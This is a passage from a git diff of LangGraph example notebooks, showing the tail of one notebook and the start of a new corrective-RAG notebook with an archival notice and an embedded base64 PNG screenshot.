graph.stream(inputs):\n", + " for key, value in output.items():\n", + " pprint.pprint(f\"Output from node '{key}':\")\n", + " pprint.pprint(\"---\")\n", + " pprint.pprint(value, indent=2, width=80, depth=None)\n", + " pprint.pprint(\"\\n---\\n\")" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.12.2" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/rag/langgraph_crag.ipynb b/examples/rag/langgraph_crag.ipynb new file mode 100644 index 0000000..e039ffa --- /dev/null +++ b/examples/rag/langgraph_crag.ipynb @@ -0,0 +1,709 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "c71da2ea", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. Please see the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview) for the most current information and resources." + ] + }, + { + "attachments": { + "683fae34-980f-43f0-a9c2-9894bebd9157.png": { + "image/png": "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eGlmOlBpeGVsWERpbWVuc2lvbj4xNjk4PC9leGlmOlBpeGVsWERpbWVuc2lvbj4KICAgICAgICAgPGV4aWY6VXNlckNvbW1lbnQ+U2NyZWVuc2hvdDwvZXhpZjpVc2VyQ29tbWVudD4KICAgICAgPC9yZGY6RGVzY3JpcHRpb24+CiAgIDwvcmRmOlJERj4KPC94OnhtcG1ldGE+Cnve9usAAEAASURBVHgB7N0HeBTV+sfxNwmE3pEqSBFEQKSIggiKKBYUwYYFBRWvYMHutfeOvaF/wXIV4V71othBEBAVpVoQRZAiSBMUQgsl+e9vuBNnJ5tkN8kmW77nefbZ2annfGY2mZ33lJTsQDISAggggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAsUskFrM+2N3CCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCDgCBKK4EBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBKIiQCAqKqzsFAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAgEAU1wACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggEBUBAhERYWVnSKAAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCBCI4hpAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBCIigCBqKiwslMEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAECUVwDCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACUREgEBUVVnaKAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCCBAIIprAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAICoCBKKiwspOEUAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEECERxDSCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCERFgEBUVFjZKQIIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAAIEorgEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAIGoCBCIigorO0UAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEECAQxTWAAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCCAQFQECUVFhZacIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAAAIEorgGEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEoiJAICoqrOwUAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEECAQBTXAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAQFQECERFhZWdIoAAAggggAACCCCAAAIIIIAAAggggAACCCCAAAIIEIjiGkAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEIiKAIGoqLCyUwQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQJRXAMIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAAAJRESAQFRVWdooAAggggAACCCCAAAIIIIAAAggggAACCCCAAAIIIEAgimsAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAgKgIEoqLCyk4RQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQIRHENIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAAAIIREWAQFRUWNkpAggggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAgSiuAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAgagIEIiKCis7RQABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQIBDFNYAAAggggAACCCCAAAIIIIAAAggggAACCCCAAAIIIBAVAQJRUWFlpwgggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgSiuAYQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQSiIkAgKiqs7BQBBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQIBAFNcAAggggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIBAVAQIREWFlZ0igAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggQiOIaQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQiIoAgaiosLJTBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABAlFcAwgggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAlERIBAVFVZ2igACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggQCCKawABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQCAqAgSiosLKThFAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBAhEcQ0ggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAghERYBAVFRY2SkCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggACBKK4BBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQACBqAgQiIoKKztFAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAgEMU1gAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggEBUBAlFRYWWnCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACBKK4BhBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBKIiQCAqKqzsFAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAgEAU1wACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggEBUBAhERYWVnSKAAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCBCI4hpAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBCIigCBqKiwslMEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAECUVwDCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACUREgEBUVVnaKAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCCBAIIprAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAICoCBKKiwspOEUAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEECERxDSCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCERFgEBUVFjZKQIIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAAIEorgEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAIGoCBCIigorO0UAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEECAQxTWAAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCCAQFQECUVFhZacIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAAAIEorgGEEAAAQQQQAABBEpMYPDgwfbIiBEldjwOhAACCCCA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